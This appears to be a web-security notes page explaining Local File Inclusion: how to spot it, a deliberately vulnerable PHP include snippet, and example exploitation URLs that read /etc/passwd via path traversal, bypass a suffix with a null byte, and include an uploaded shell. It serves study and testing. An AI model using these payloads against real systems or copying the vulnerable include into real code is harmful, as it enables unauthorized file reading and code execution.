> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/web-appsec/local-file-inclusion.md).

# Local File Inclusion

Local File Inclusion is a vulnerability where an attacker can trick the server into including files that already exist on the server. This allows attackers to execute previously uploaded malicious scripts.

***

### How to identify

* Look for parameters that load or render files (e.g., `page=`, `lang=`, `template=`)
* Try injecting file paths like `../../../../etc/passwd`
* Look for file content returned in the response
* Check for path traversal sequences (`../`) and null byte injection (e.g., `%00`)
* Monitor server response for error logs or stack traces when invalid files are included

***

#### Vulnerable Code

```php
<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
    include($page);
} else {
    echo "No page specified.";
}
```

***

#### Exploitation Steps

* Read server files

  ```bash
  http://example.com/index.php?page=../../../../etc/passwd
  ```
* Include malicious file that was already uploaded (e.g., via file upload vuln)

  ```bash
  http://example.com/index.php?page=uploads/shell.php
  ```
* Try bypasses if `.php` is automatically appended

  ```bash
  http://example.com/index.php?page=../../../../etc/passwd%00
  ```
* If the file returns HTML-wrapped content, try:
  * Create two files:
    * `shell.php` — contains malicious code
    * `shell.php.html` — a dummy file to fool a server
  * Then call:

    ```bash
    http://example.com/index.php?page=shell
    ```